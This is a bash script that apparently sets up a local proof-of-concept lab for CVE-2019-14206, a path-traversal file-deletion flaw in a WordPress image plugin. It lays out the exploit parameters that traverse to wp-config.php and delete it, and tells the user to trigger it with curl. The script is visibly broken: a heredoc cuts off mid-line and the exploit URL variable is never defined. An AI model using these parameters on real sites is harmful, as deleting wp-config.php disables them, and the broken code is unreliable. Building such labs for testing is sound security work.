#!/bin/bash # CVE-2019-14206 - Complete Local Test Environment # Tests the vulnerability without requiring Docker echo "=========================================" echo "CVE-2019-14206 Local Test Environment" echo "=========================================" echo "" # Colors RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # Setup TEST_DIR="/Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc" cd "$TEST_DIR" echo -e "${YELLOW}[*] Setting up test environment...${NC}" # Create directories mkdir -p wp-content/uploads/2019/07 mkdir -p wp-content/cache/ai-cache # Create test image echo "GIF89a" > wp-content/uploads/2019/07/image.jpeg # Create wp-config.php cat > wp-config.php << 'EOF' &1 | head -20 echo "" # Test 4: Show what the exploit does echo -e "${YELLOW}[*] Test 4: Exploit analysis...${NC}" echo "Attack breakdown:" echo " 1. source_file points to existing image (timestamp check bypass)" echo " 2. wp_content='.' sets base to current directory" echo " 3. cache_dir='../../..' enables path traversal" echo " 4. request_uri='wp-config.php' sets target file" echo " 5. resolution=16000 + request_uri creates path: ./../../..//wp-config.php" echo " 6. watch_cache=1 enables the delete function" echo "" # Test 5: Check files exist before attack echo -e "${YELLOW}[*] Test 5: Checking files before exploit...${NC}" if [ -f "wp-config.php" ]; then echo -e "${GREEN}[+] wp-config.php exists${NC}" else echo -e "${RED}[-] wp-config.php not found${NC}" fi if [ -f "plugin/adaptive-images-script.php" ]; then echo -e "${GREEN}[+] Vulnerable script exists${NC}" else echo -e "${RED}[-] Vulnerable script not found${NC}" fi echo "" echo -e "${YELLOW}[*] To test the actual exploit:${NC}" echo " 1. Start PHP server: cd $TEST_DIR && php -S localhost:8000" echo " 2. In another terminal: curl '$EXPLOIT_URL'" echo " 3. Check if wp-config.php was deleted" echo "" echo -e "${GREEN}[+] Local test environment ready!${NC}" echo "========================================="